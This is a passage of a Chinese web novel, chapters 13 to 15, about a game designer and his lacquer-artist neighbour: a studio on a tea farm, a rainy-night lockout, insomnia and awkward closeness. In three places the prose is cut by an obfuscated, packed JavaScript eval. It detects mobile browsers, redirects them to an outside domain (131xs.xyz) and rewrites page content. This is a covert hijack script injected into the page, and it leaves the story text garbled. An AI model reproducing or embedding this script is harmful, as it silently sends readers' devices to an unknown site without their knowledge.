秋总有点吃惊:“真奇怪了,你知道他大二知道他休学不知道这个?” “啊,跟我工作又没关系。”姜察皱了皱眉。 秋总看了他一眼:“现在有关系了,不过其实也没什么,他去年……应该是去年?” “嗯?”姜察抬头看着她。 “去年四月的时候吧,跳楼了。”秋总叹了口气。 …… “这屋合适吗?”该隐搬着几个竹编的篮子放到门口。 “合适,”喻雪生点点头,“挺好的,替我谢谢你爸妈。” “不用,”该隐说,“正好这里没在用,改天我拿块牌子,在门口挂上请勿打扰……” 喻雪生笑了:“那算了,挂个请勿打扰好像我在里面做什么事儿似的。” 该隐瞥了他一眼:“山上游客多,哪天有小孩儿进来把你这堆东西全划了涂了你就知道了。” 顿了顿又说:“算了,人类幼崽好奇心比较强,挂个请勿打扰还不如挂‘工具房’……” 喻雪生没再说话,跟他一起搬了两趟东西,等都收拾完才在角落的沙发上坐下。 该隐给他找的这个场地确实不错,很适合用来做大漆。自己再布置一下荫房,基本能当工作室用了。 这边是一栋单独的小砖房,离隐茶空间的主楼不远,带洗手间。墙体很厚,但朝北有窗,配了遮光窗帘。不管是防潮隔热还是避光通风,都很合适。 几天前,听说喻雪生要用,该隐的父母还专门找了些家具配进来,于是又多了个小沙发和一张办公桌…… 之前接的单子已经开始正式制作,接下来一段时间,固胎上漆阴干等工序都会在这个房间完成。 该隐把东西放好就要走了,临走前还嘱咐了半天,让喻雪生记得去主楼吃饭。 “知道了,”喻雪生很认真地看着他,“我真有点不好意思……我给你妈转点伙食费吧。” 该隐“砰”地关上了门。 接下来两个礼拜,喻雪生都是在山上度过的。 睡觉时找个没人住的小客房,工作了就泡在砖房里……拿起各种工具的时候,他总会陷入一种近似于入定的感觉。 恍惚间好像又回到还在校的时候。 那时候有老师说,做漆不适合他,他本身就不是心静的人,这东西刷一遍漆要阴干好几天,一件漆器少说两个月,他等不了。 结果后来他就天天泡在工作室里,就算是过敏浑身起疹子也不走……做着做着就这么做下去了。 也不知道是在跟自己还是跟谁较劲。 把这组葫芦都处理完后,他伸了个懒腰,又处理了几块木板和一个木胎手镯,一起晾着。 该隐的爸妈从来不收钱,反正时间还久,到时候给隐茶空间做幅画吧。 五月中下旬,天气已经有了闷热的趋势,隐茶空间逐渐停了采茶的项目,但专门开车来吃饭钓鱼的人多了起来。 这阵子游客太多,小砖房外不太安宁,喻雪生这时才有点庆幸听该隐的挂了“工具间”的牌子,虽然就算这样也总有小孩儿过来扒着窗户偷看…… “这里有人耶!”一个声音在窗外喊。 “嘘……”另一个鬼鬼祟祟的压低了声应着。 喻雪生站起来,看了看表,从早上到现在都坐这儿三个小时没动了。 他把手上的活儿一搁,走到窗户边上,然后“唰”地拉开窗帘。 “啊!” 窗外两个看着八九岁的小孩儿吓得叫了一声,但也没害怕多久,又凑了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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五一之后,不管是在家还是在别的什么地方,他都没再遇到过喻雪生。 某天他心理斗争了很久,想着去问问喻雪生有没有专业书籍可以推荐……结果消息不回,人也跟人参果一样,落地就消失得无影无踪的。 秋总那边还在走流程,也不好问她喻雪生回没回消息,而且他甚至还没跟别人说过他俩住上下层…… 他并不是关心这人,只是当一个人像bug一样无处不在、突然有一天又像被杀毒软件查杀掉之后,会感觉很奇怪。 或者说好奇。 喻雪生下次会在什么时候冒出来? 又是因为什么原因消失的? 为什么跳……不,这种程度的好奇就不太礼貌了。 不过也许是意念太过强烈,周六上午,姜察迷迷糊糊地起床时,正听见楼上传来“砰”的关门声。 他瞬间就清醒了,难道消失的邻居回来了? 但直接上去看又不太好…… 还没等纠结完,楼上的门又打开,又“砰”地关上,有人出来了。 姜察听到下楼的声音怔了怔,这是回来取东西又要走?他赶紧爬起来,不知道是哪根筋抽了,下意识去开门—— “早?”玄关处一身黑的小伙儿被姜察吓了一跳。 “……早。”姜察愣了愣,是该隐。 该隐手里拎着猫箱,里面没装猫,放的是些罐头猫粮和猫砂之类的东西。 “你找喻雪生?”该隐问。 姜察有点尴尬,点头也不是摇头也不是。 “他在茶园,”该隐自顾自地说,“你给他打电话或者发消息吧。” “……他没回。”姜察莫名其妙地冒出了一句。 “那可能没看见,”该隐打量了他两眼,“你要去茶园找他吗?去的话我捎着你。” “不用,”姜察赶紧摇头,“不用了,我也没什么急事。” “哦,”该隐说,“那我走了。” 说完就利索地转身,还带上了门。 对话全程不过一分钟,姜察回屋的时候还有点发懵。 茶园?干嘛去了?搬家了? 这么来无影去无踪吗? 13. 第 13 章 喻雪生真的消失了,姜察再一次看到他名字的时候,是六月初的梅雨季。 中间他没再跟喻雪生联系过,毕竟本来就不算熟。只是偶尔下班回家,进门按开楼梯间里的灯时,还是会下意识地做个心理准备。 以防再看见哪个吸血鬼黑灯瞎火地蹲在楼梯上。 至于雪球,他很不好意思地想说,他更想念的是喻雪生的猫…… 秋总的弹窗抖他时,他正捏着布偶猫的钥匙链发呆。 [秋秋秋:这是他以往的作品和参考,看看有没有能用的。] [秋秋秋:文件-白雪王子.zip] 姜察有点无语地点击下载,怎么都没想到再看见喻雪生的名字是看到这个。 解压后,大量图片汹涌而来。 图片里夹杂着一个ppt,里面是常见漆艺技法和介绍,姜察认真读完,怀疑这ppt是直接从美院老师那里拷过来的。 《恐惧追踪》的游戏体量不算大,但工作室产能相对较保守,因此每个大版本都至少提前半年提需。 除了喻雪生那边的资料,接下来几天,姜察自己也找了不少资料看。 又跟美术组磨了无数个小会……最后决定按常规大版本,给漆艺主题配大型活动和时装,同时试试联系线下的非遗或景区联动。 一般情况下,时装或外观的制作流程都是从策划开始,由策划提供基础创意和大量参考图,汇总成需求文档,给到美术组确认。 等敲定需求后,再由美术按文档返回原画,策划进行反馈。原画也确定后,才进入后续的模型动作宣传图等等环节。 但这次提需一开始就不太顺,姜察最怕的事还是发生了。 下午快下班的时候,他被主美叫到了工位上。 主美笑眯眯地拉了张椅子让他坐下,还塞过来一块糖。 “姜察,你的需求我看了,”她说,“既然要做非遗,是不是可以再复杂点,追求一下高级感呢?” “……比如?”姜察问。 “比如这几个怎么样?”主美点开一个网页。 姜察扫了一眼就皱起了眉,这是他们常用的英文区搜图网站,她搜的关键词不知道是什么,出来的是漆器,但…… “我们可以让TA做新材质,这个质感很漂亮。”主美看着图,说。 “你没看参考文件吗?”姜察问。 “啊?”主美愣了愣。 “这个风格不对,”姜察凑过来,指着屏幕上的两张图,“莳绘是日式代表技法,单拿出来做参考还行,如果主题是非遗传播的话问题就大了。” 主美盯着屏幕,好半天才“嗯”了一声。 “而且这种质感比较精细,”姜察耐心说,“放在游戏里,材质效果可能没那么好,手游的包体压缩后你也知道……” “这种可以让TA攻克吧?”主美说。 姜察没吭声。 “东方的美具有贯通性,”主美说,“不过你给的参考我看了,也可以,但最好找点更高级的图,局限在花鸟鱼里的话,美术同学的发挥空间比较小。” 姜察看着她屏幕上层层叠叠的金线和黑金配色,没说话。 “实在不行,你可以再拉敬之对齐一下,改好我们可以再看看。”主美笑着点了点头。 …… “她脑子没问题吧?” 喻雪生拿着电话,烦躁地踢了一脚角落里的垃圾桶,垃圾桶原地转了两个圈,又晃了晃,没倒。 电话里的人还在解释,他听得越来越冒火,“嗯”、“啊”地答应了两声。 “把要改的汇总一下发过来,”喻雪生说,“他们爱改就改,我不管了。” 说完就挂了电话。 也不知道是房间里太久没通风还是他气得头晕,挂完电话,喘气儿都出一口进半口的。 走到窗户旁边,他把窗帘拉开,又久违地开了窗,靠着窗户点了支烟。 窗外正淅淅沥沥地下着雨。 他不常抽烟,除非心情非常非常差,而且这东西太呛人,抽也得是果味儿的…… 远处,郁郁葱葱的林间小路上,突然一摇一晃地出现两把黄色的小伞。 喻雪生回过神来,把抽了半根的烟掐掉。 “哥哥!” 离得老远,撑伞的小男孩就边喊边朝他跑过来。 “慢点,溅一身水,”喻雪生说,“你们怎么又来了?” “我们在民宿住啦,”小女孩也跑过来,“收拾房间的姐姐说这边很安全,妈妈就同意我们出来玩了。” “不上学吗你们?”喻雪生啧了一声。 “哥哥身体不好,我们这个学期休息,”小女孩碰碰旁边的小男孩,“是吧!” 小男孩点了点头。 身体不好?喻雪生有点意外,两个小崽子看着倒是都活蹦乱跳的。 “你上次撒谎了,我问了民宿的哥哥,你没被关在这里。”小女孩说。 “那我干嘛在这儿待着?”喻雪说。 “你是艺术家!”小女孩喊,“你在搞创作!” 喻雪生笑了,这孩子还知道什么叫搞创作。 “你还知道创作是什么呢?”他说。 “画画呀,”小女孩答,“我哥哥也喜欢画画,画得特别好!” 她边说边戳了两下旁边的男孩,喻雪生这才发现,两个孩子里男孩明显更内向些。 男孩脸“腾”得红了,支支吾吾地摆着手,喻雪生笑着看他俩,觉得还挺有意思。 他不太喜欢小孩,但礼貌又听话的这种算是例外。 “你们要不要进来,”喻雪生看着打伞的两个孩子,“别着凉了。” “可以吗?”小男孩怯生生地往屋里看了一眼。 “可以,”喻雪生点头,“不放心的话我给你们妈妈打个电话,你们住哪个房间?” 小砖房里连了茶园的内线,接电话的是个男人,应该是他们的爸爸。 听了喻雪生的解释,他语气有点吃惊,但随即很有礼貌地道谢,说添麻烦了。 男人的谈吐听上去很有修养,挂了电话时喻雪生才发现,兄妹二人长得很像,穿着也非常干净整齐,家庭条件应该不错…… 由于这几天下雨,几件半成品都拿去了有除湿机的房间,早上刚通过风,这会儿房间里基本没什么气味。 也是因为这个,喻雪生才敢让兄妹二人进屋的。 “你们是龙凤胎吗?” 他拿了两瓶橙汁和小饼干,放到茶几上。 “是,”女孩抬头答,“我叫蕾蕾,哥哥叫贝贝。” 蓓蕾啊,估计是小名。 兄妹二人坐在小沙发上,研究着一个桌上的花瓶,喻雪生坐到他们对面的椅子上。 很快,两个孩子开始你看我我看你地无聊了。 喻雪生也有点无奈,他这屋里实在没什么能玩的,转了好几圈才发现了一本讲版画艺术的书,上面有些民俗故事的图案。 “你们看书吧,”他把书拿过去,“下次别到处跑了,来我这里可以,但不是所有大人都很安全。” 叫贝贝的男孩接过书,迷茫地看着他。 “万一有坏蛋或者卖小孩的,”喻雪生叹了口气,“就这么进房间,你们已经被拐进山沟沟了。” 两个孩子沉思了一会儿,点点头。 过了几分钟书,喻雪生正打算回去画图,却听到后面有窸窸窣窣的响声。 一回头,是小男孩在沙发上东张西望。 看见喻雪生转头,他一下子僵住了,停止了动作。 喻雪生有点好笑,这孩子确实内向,还有点胆小。 “不和妹妹一起看书吗?”喻雪生问。 “没……”贝贝沉默了一会儿,“我想去爬山。” “雨没停呢,”喻雪生看看窗外,“你们个子太小,没爬上去就踩到泥巴滑下来了。” “我不害怕,”贝贝说,“哥哥,你见过山沟沟吗?” 这什么问题? 喻雪生愣了两秒才反应过来,这是接着那句“拐到山沟沟里”说的。 “他在屋里待太久啦,”旁边看书的蕾蕾插了一句,“他总想出去。” “等雨停吧。”喻雪生说。 “可是,可是,”贝贝好像有点急,“雨停后爸爸妈妈又要带我去医院了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189143|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “啊?”喻雪生愣了愣。 “要住院、还要手术。”旁边的蕾蕾补充。 住院手术的词这么顺畅地从八九岁的孩子嘴里说出来,他有点吃惊。随即也有点犹豫,是不是该让两个孩子回去比较安全? 不过说完这两句,两个孩子就都不说话了,贝贝也回去跟妹妹一起看书了。 喻雪生看着他们,两个人都很乖地翻着书,喝着自己的饮料。 也不知道这么小的孩子能得什么病。 …… 姜察从公司里走出来时小雨还在下,但天已经很黑,看不出阴晴。 手机上的时间显示凌晨一点,他从园区大门打卡、出门,往常热闹的路上只有稀稀拉拉的几个人。 都是刚下班的互联网上班族,撑起的伞像一朵朵雨夜里长出来的蘑菇。 一辆银灰色的别克开过去,路过他旁边的时候减速,窗户降了下来。 “姜察,”赵敬之在车里看着他,“送你一段吗?” “不用了。”姜察笑笑。 赵敬之没多说什么,银灰色的别克又加速,开走了。 今天版本日实在留得太晚,项目里有连坐制度,他也被一直留到了现在的时间。 不过春节版本的初稿总算是通过了,虽然代价是改了三次又重写了一次,还被主美强行拉着找赵敬之“对齐”。 说也奇怪,赵敬之“对齐”过后,文档“嗖”地通过了。 美术通过的版本他看了看,甚至只是把两张参考图换了个位置。 行吧,工作里总有些事让人匪夷所思。 这段时间下雨,他一直没骑自行车。离家两公里的路能步行就步行,加班时就打车,不过今晚实在太晚,车也不好打,他只能一路打着伞走回去…… 这时间连夜宵摊都收摊了。 他叹了口气。 终于到了家门口,开门时门锁“嘀”了一声,然后就没了声响。 没电了? 姜察愣了一瞬,然后实在忍不住,骂了一句。 他把伞扔到门口,站在走廊里发消息。 这个时间他的房东还没睡,房东是个本地的年轻人,这时间通常都在灯红酒绿寻欢作乐的。 过了快十分钟对面才回消息,说是可以用充电宝充电或者用机械钥匙开门。 充电宝? 姜察去楼下前台转了一圈,前台女生充电宝服务早就没了。 机械钥匙? 靠,谁会闲得没事干把密码锁的机械钥匙带身上? ……刚租房不久,或者打算搬家的人可能会。 算了,还不如住酒店去呢。 而当他发现附近的酒店都满房后,终于怒了。 他直接拨了喻雪生的电话。 电话响了一会儿,竟然真的被接了起来。 “喂?”对面人的声音懒洋洋的。 “喻雪生,你在哪儿?”姜察说。 “嗯?姜察啊?”对面似乎有点惊讶。 “你在哪儿?”姜察又问了一遍,“你手上有外门钥匙吗?” “外门?你进不了屋了?” “是,门锁没电了,”姜察又按了按密码锁,有些烦躁,“你要是有钥匙的话……” 话说出口他突然反应过来,他给喻雪生打电话干嘛? 喻雪生就算有钥匙也不在附近,难道还能大半夜从茶园给他送过来? “我……算了,”没等对面说话,姜察飞快地说了一句,“打扰了,我没事了,你睡吧。” “等等等等!”喻雪生打断他,“什么你睡我睡的。” 姜察拿着手机,不知道该从哪儿解释。 他现在累得不行,有点说不出话了。 “你等一下……”对面说。 电话没挂,喻雪生似乎把手机放下了,然后一阵“咚咚咚”的声音。 ……嗯? 姜察反应了片刻,脑海里突然闪过一个猜测,然后有些错愕地转头。 几秒后,门“咔”地从里面打开了。 “怎么这么晚才回来?”喻雪生穿着睡衣,探头看着他。 14. 第 14 章 突然间看到喻雪生,姜察有点没说出话来。 有点大半夜打扰人家的愧疚,还有点…… 挺怀念的。 虽然也不知道自己在怀念个什么毕竟他们也没有那么…… “怎么了,”喻雪生举手他眼前晃了晃,“入定了啊?” 姜察回过神来,见他正站在门里看自己。 “外面还下雨?”喻雪生问。 “嗯,”姜察说,“你什么时候回来的?” “上午。”喻雪生说。 “哦。”姜察点点头。 楼梯间里的壁灯又关着,但喻雪生的手机亮着手电。看起来像刚才下楼时着急,直接拿手机当灯用了。 姜察怔了下,又觉得自己想多了。 他听见喻雪生身后关上了门,但没上楼。 “进来坐坐吗?”他站在楼梯间里犹豫了两秒,问。 身后亮起一束光,喻雪生似乎拿起了手机。 “不影响你上班吗?”他听见喻雪生的声音,“都一点多了。” “还好。”姜察说。 喻雪生也不拘谨,进屋就坐在了靠门口的沙发上。 姜察去厨房倒水,视线悄悄往屋里扫了一圈,庆幸早上走的时候把房间收拾过。 “好久不见啊。”他听见喻雪生在客厅说。 “是啊,”姜察拿着玻璃杯的手顿了顿,“也是巧,刚回来就被你解救了。” 喻雪生笑了两声。 “对了,雪球呢?”姜察问。 “在该隐家,”喻雪生答,“我过几天估计还要过去,去山上,该隐跟你说了吧?” “啊,”姜察应了声,“你是去茶园帮忙吗?” 他走回客厅,把水杯放到茶几上,自己坐到旁边的小沙发里。 “不是,”喻雪生喝了口水,“那边空间大,我搭了个临时的工作室。” “做……漆艺吗?”姜察犹豫了一下,问。 喻雪生拿着水杯的手停了停,他转过头,看了姜察一会儿。 “你还知道这个?”他笑了笑,“也是,跟我对接的负责人是你。” “嗯,我前两天找你也是想问问你有没有什么参考书……” “你找过我?”他有点意外。 “发过消息。”姜察说。 喻雪生低头,拿出手机翻着,划了几下才轻轻啧了一声。 “消息刷到后面去了,我没看见,”他说,“其实你给我打电话就行。” “倒也不是急事。”姜察说。 确实不是急事,而且姜察不知道该怎么跟喻雪生解释——他总觉得打电话是一件非常私密的事,打不好就成了骚扰。 接下来几分钟里,他跟喻雪生都再没说话,两人就这么无言地坐在一个房间里,你喝口水我发会儿呆…… 姜察看了喻雪生一眼。他头发好像长了点,发梢尽头的几厘米已经能搭在肩上了。 “对了,”过了一会儿,喻雪生突然开口,“你说外门钥匙……” “我去拿个充电宝充上电。”姜察站起来。 还没等喻雪生说话,他就跑到房间里了。 姜察给外门插上充电宝,又从屋里拿了把椅子把充电宝垫好,喻雪生在旁边看了一会儿,终于也打了个哈欠,准备回房。 “今晚谢谢你,”姜察说,“要没你我还不一定什么时候进屋呢。” “是么,也是巧了,”喻雪生看了他一眼,笑了笑,“晚安。” 第二天早上,姜察迷迷糊糊地摸过手机,然后“噌”地从床上弹了起来。 做了一夜乱七八糟的梦,又是被主美追着跑又是高中数学考了68分……起床的时间比平时晚了十五分钟! 套上衣服洗漱完,他一路叮咣地冲出去,开门时突然踢到个东西,低头一看,垫充电宝的椅子被挪了个不挡门的位置。 充电宝也拔下来收好了线,下面压着张纸放着。 他犹豫了一秒,抓起那张纸出了门。 到公司后,一上午忙得天昏地暗,等再喘口气的时候已经是午休了。 他瘫在工位上,对着盒饭放空时才想起那张纸。 纸条在口袋里搓了一上午,掏出来的时候已经有点起皱,姜察展开看着,上面是几个书名。 喻雪生写的。 他挨个上网搜了搜,发现和PPT里提供的参考书不一样,这几本都是偏鉴赏类的书,还有些跟现代漆器、艺术品结合的范例。 ……这比PPT里的参考资料实用多了,白雪王子不愧是做过游戏区up主,一说参考立刻就懂要的是什么。 “哟,字不错啊。”一个声音突然凑了上来。 姜察吓了一跳,赶紧把纸条折起来收到键盘旁边。 他回过头,寸头今天拿了轻食,正晃晃悠悠地过来,往旁边空着的工位一坐。 “哎,一会儿我组员就回来了。”姜察说。 “这还用一会儿?这点草两口就吃完了。”寸头说。 姜察看了看,他碗里是一大片生菜西蓝花和几口荞麦面。 “这你能吃饱?”姜察啧了一声,“喂兔子都不够呢。” “减脂呢,这不是下周去体检吗,”寸头叹了口气,“这天天坐这儿一动不动都过劳肥了。” “体检前突击吃草也减不了你的过劳肥啊,”姜察啧了一声,“而且还隔三差五喝一场……” “别打击我积极性!我从今天开始不喝了!” 寸头边喊边用筷子在盒里翻着,郁闷地从盒底翻出几片薄如蝉翼的牛肉。 把蝉翼们都挑挑拣拣地吃完后,寸头突然像想起来什么似的。 “你刚刚看什么呢?”寸头问。 “参考书。”姜察盯着屏幕。 “什么参考书?”寸头凑上来,“漆器鉴赏……靠这是不是你接的那个春节版本?这么拼?” “嗯。”姜察点头。 “氪佬没给你点帮助?”寸头问。 姜察反应了一下,才意识到他说的“氪佬”是喻雪生。 “给了,”姜察说,“这就是他给的……” 寸头伸手,把姜察刚收到键盘旁边的纸条拿了过来。 “哎!”姜察喊了声。 “这字不错啊?他写的?”寸头说,“不愧是学艺术的,写个字用的还是钢笔……” “你能不能稍微客气点?”姜察无语了,“有没有个人隐私了。” “你跟他能有什么隐私啊!”寸头翻了个白眼,把纸条叠好放了回去,然后低头又塞了几口草,扣上饭盒盒盖。 “走了。”寸头说。 “不送。”姜察答。 “也没指望你隔两条过道还能送我,”寸头说,“看你的参考去吧。” 姜察盯着屏幕,没吭声。 喻雪生这一趟回来不知道要待多久,虽说“过几天还要去山上”,但自从雨夜救场之后,姜察楼上一直都住着人。 之所以知道住着人,是因为每天一点后,他总能听到有桌椅挪动的声音。 不频繁,而且声音很轻,但在深夜里格外明显。 姜察很庆幸自己睡得晚。 这周有款新发售的游戏,他之前盯了半年,订购了实体卡带,但等卡带寄过来估计还要好几天。 周五下班前,终于借到了好心同事的数字版。 于是他班都没加,匆匆回家插上电视就开始肝新游…… 等再从游戏世界里缓过神来起身喝口水的时候,外面天都大亮了。 姜察揉了揉眼睛,放下手柄伸了个懒腰,然后听见一声椅子挪动的响声。 紧接着又一声。 ……喻雪生也没睡? 他去了个洗手间,又洗把脸回来继续肝游戏。不知不觉又过了几个小时,墙上的表指向中午十二点的时候,他终于开始打哈欠。 一天一夜没睡了,结果楼上……又响了。 姜察有点惊讶,这人也太能熬了,惊讶着惊讶着又突然毛骨悚然地想起来,前天半夜楼上也有动静。 白天不睡晚上也不睡,所以喻雪生是拿什么时间睡觉的? 他犹豫了一下,拿起手机发了条消息。 [养生小饮料:还没睡呢?] 过了几秒,对方竟然回了过来。 [小雪花:是啊。] [小雪花:吵到你了吗?] 姜察看到这个名字还是有点想笑,但想了想,认真回复了一句。 [养生小饮料:你通宵了?] 对方没再说话。 正思考着自己是不是有点多管闲事的时候,楼梯间里突然传来一阵慢悠悠的脚步声,接着有人敲了敲门。 “中午好。”喻雪生说。 “好。”姜察点点头。 “你也没睡吧?”喻雪生看着他,手指了指自己的眼睛,“这黑眼圈儿……” “打游戏呢。”姜察有点不好意思地笑了笑。 两人进了屋,喻雪生看着他屏幕上暂停的游戏,饶有兴趣地坐下:“这游戏已经发售了?” “嗯,昨天发售的。”姜察说。 “前作就挺有趣的,我也喜欢,”喻雪生说,“我盯了续作好几年,结果一直在跳票,就没再等了。” “可以试试,续作也不错,虽然都是开放世界,但加了很多新玩法。”姜察说。 “行,等我买个卡带……”喻雪生说。 “等我卡带到了借你吧,”姜察说,“我现在玩的数字版,同事的。” “好。”喻雪生笑笑。 两人坐一块儿聊了一会儿游戏,发现对方都是这个系列的粉丝。不过过了半天姜察的困意越来越浓,有点接不上话,还打了一串儿哈欠。 “你该睡觉了吧?”喻雪生看着他,“我就下来问问,是不是吵到你了。” “没事,听不见什么,我睡得沉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189144|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜察说。 “那就行,我有时候会挪一挪桌子椅子,”喻雪生说,“偶尔画稿子坐不住,画一会儿就想站起来溜达。” “看出来了,”姜察说,“都溜达到我这里了。” “哎。”喻雪生笑了笑。 “所以你……不困吗?”过了一会儿,姜察没忍住,问。 “睡不着啊,”喻雪生叹口气,“再说我前天睡了……” “前天?”姜察愣了。 头一次见到有人睡觉论“前天”的,这话就像问你吃饭了吗对方回答去年吃过一样。 喻雪生倒是很平静:“嗯,我睡眠不太规律,得吃药。” “褪黑素?”姜察问。 “安眠药。”喻雪生说。 姜察愣了愣,他被这突如其来的一句弄得有点猝不及防。虽然身边不少人也得吃药入睡,但在喻雪生身上—— 他去年跳楼了。 他突然想起来这么一句。 “这么严重?”姜察缓了缓,说,“总吃不好吧。” “还行,”喻雪生笑笑,“是有点副作用,跟被揍了一拳似的,还做梦……所以我就等画画画困了再睡。” 顿了顿又说:“坏处就是睡得特别死,你上次见过。” 姜察想起来,“哦”地点了点头。 “对了,你要是对我的画感兴趣的话,睡醒了上来看吧。”喻雪生又说。 姜察一觉醒来,悲伤地发现现在是凌晨三点。 因为昨天通宵打游戏,他的作息已经彻底乱套,跟日出日落都接不上了。 他翻了个身,旁边的手机正闪着,睡着的时候收到了好几条消息。 [小雪花:在吗?要上来玩吗?] [小雪花:睡了?] [小雪花:醒了再跟我说吧。] [小雪花:我也睡会儿,晚安。] 这几条中间都隔了几个小时,最后一条是半小时前发出来的。 姜察没再回复,毕竟看消息喻雪生终于难得的睡着了。 结果第二天中午,门又被咚咚咚地敲响了。 姜察都不知道该说这人是自来熟还是睡饱了亢奋……反正没等说话,就被喻雪生拉上了楼。 他看看表,离小雪花发消息说要睡觉还不到五个小时。 “没睡呢。”喻雪生似乎知道他在想什么,神采奕奕地说。 “啊?”姜察愣了愣。 “本来我挺困的,”喻雪生说,“但躺到床上了突然有了灵感,特别想立刻记下来……” 这姜察倒是能理解,他经常会强挺着困意把睡前的灵感记在备忘录上。 然后第二天发现自己记了堆什么“炖菜需要放土豆”之类的东西。 “……然后我就爬起来,把草稿画完了。”喻雪生继续说。 “超绝行动力。”姜察给他竖了个拇指。 站在书桌前,喻雪生给他递过一本速写本,姜察看了半天都没看懂画的是什么。 一串大大小小的圆,上面有花纹,圆下方用数字标了序号。 “这是……”他迟疑了半天。 “珠子。”喻雪生说。 “哦。”姜察有点尴尬。 喻雪生笑了笑,没说什么,又从电脑上调了另外一个文件夹给他看。 这些姜察就看得懂了,看得出也是漆艺作品,但载体五花八门,漆画、木雕、首饰……甚至还有几个猫猫头造型的摆件。 “你喜欢这个?” 见他停在猫猫头上半天没再翻页,喻雪生问。 “挺可爱的。”姜察说。 “这是我之前合作的一个工作室的范例,”喻雪生说,“大部分我都能做,等有时间给你做一套差不多的。” “啊,”姜察有点尴尬,“不用不用,我就欣赏一下……” “行吧。”喻雪生笑了笑,也没再多说什么。 又过了一会儿,喻雪生站了起来。 “我去洗个澡,你慢慢看。”他说。 姜察“嗯”了一声。 姜察还往后翻着作品集,这个文件夹实在太大了,简直像翻不到尽头。 而且翻到后面就出现了各种不是漆艺的内容,油画、速写、甚至漫画…… 浴室的水哗哗响着,姜察有点尴尬,但又不好现在就走。 他只好硬着头皮继续看,但不得不说,其中大部分作品都很精美有趣…… 过了不知道多久,浴室门“唰”地拉开。 姜察听到声音,下意识挺直了背,鼠标也不自觉地划了两下。 他也不知道自己在紧张什么,只听见拖鞋落地、一步一步向他走过来的声音。然后,喻雪生在他身后坐下了。 一阵蒸腾的暖意和石榴香气涌了过来。 “这张……”他赶紧指向屏幕上的图。 “姜察,”他听见喻雪生的声音在离他很近的耳畔响起,“你到底在客气什么?” 15. 第 15 章 你到底在客气什么。 姜察听见这句话的时候,微微愣了愣。 他一瞬间没明白过来喻雪生的意思,但喻雪生语气里的那分不快……倒是挺明显。 喻雪生坐在他身后的椅子上,脑袋上还披着浴巾,头发没擦干,湿漉漉的。 姜察下意识回过头看他,发现他的长发发梢似乎有点打卷儿。 ……是自来卷吗? “说话。”沉默了半晌,喻雪生说。 “我哪儿客气了。”姜察问。 喻雪生挑了挑眉:“你哪儿没客气?” 姜察看着他。 “又是谢谢又是抱歉,要么就是不好意思,”喻雪生数着,“说给你做个东西也不要。” “你哪里没客气?”喻雪生纠正了一下语气,又问了一遍。 “……我不明白。”过了会儿,姜察皱了皱眉。 “什么?” “我在履行正常的社交规则,”姜察说,“如果给你的第一印象导致你觉得我现在装客气,那对不……” 他顿了顿,初次见面时用伞甩了喻雪生一身水的事,两人都很默契地没再提过。 眼下提起来,是因为他实在不知道该怎么解释了。 房间里又陷入了一片寂静。 旁边的笔记本电脑还亮着,屏幕停留在一张画上。 刚才姜察还看不明白是什么,这会儿突然发现,好像就是那个猫猫头木雕的草稿。 “你和你同事也这样说话吗?”喻雪生看着他,问。 “……也分熟的和不熟的。”姜察说 。 “所以呢?”喻雪生嘲讽似的笑了笑,“我算熟的还是不熟的?” 不知道为什么,在面对喻雪生的时候,姜察总是有种莫名的紧张。 他很难像面对寸头或者秋总一样放松。也许是因为两人的初识就不那么愉快,也许是因为他们之间还有玩家与策划之间的这层关系。 也许是因为喻雪生有时候会过于热情或者咄咄逼人。 也许是因为…… “好吧。”喻雪生说,“我以为我跟你很熟了。” “别这么……”姜察皱了皱眉。 “我不知道你在怕什么。”喻雪生打断他。 姜察还没反应过来时,对面的人突然站了起来,他下意识闭上眼睛,一阵沐浴露的香气掠过鼻尖。 他往后躲了躲,等再回过神,只见喻雪生探过身子,握住了鼠标。 然后关掉了那个文件夹。 “……但也不想知道了。” 喻雪生盯着屏幕看了半晌,眼神微微有点低垂。 “反正我也说过,不用那么认真。” …… 梅雨天。 无尽的连绵的雨水,无尽的粘稠的空气,结合着三十上下的温度,人的身上简直像包裹了一层壳。 这种时候,冰饮和冷气是打破这层壳的利器。 咖啡吧里,姜察坐在角落的圆桌旁,看着塑料杯里的冰块上下浮动。 “真要命啊。”旁边的秋总放下杯子,感叹了一句。 “咖啡还是人?”寸头端着杯拿铁。 “都是。”秋总说。 “你就该把实习生分出去,随便给哪个小弟带,”寸头喝了口焦糊味儿的拿铁,“咖啡就没办法了,姜察请客凑合喝吧。” “我下次点外卖。”姜察也抿了口咖啡。 “哟,”寸头挺惊奇,“您不是效率主义吗,能跟我们下来摸会儿鱼就不错了,还点外卖……” “我劝你别惹他。”秋总往姜察那边看了一眼,又叹了口气。 也许是天气原因,这几天只要一看漆艺参考,姜察就有点说不出的郁闷。 郁闷到他宁愿花工作时间下楼喝杯咖啡。 郁闷到他回到家时还有种别扭感。 其实他也知道为什么。 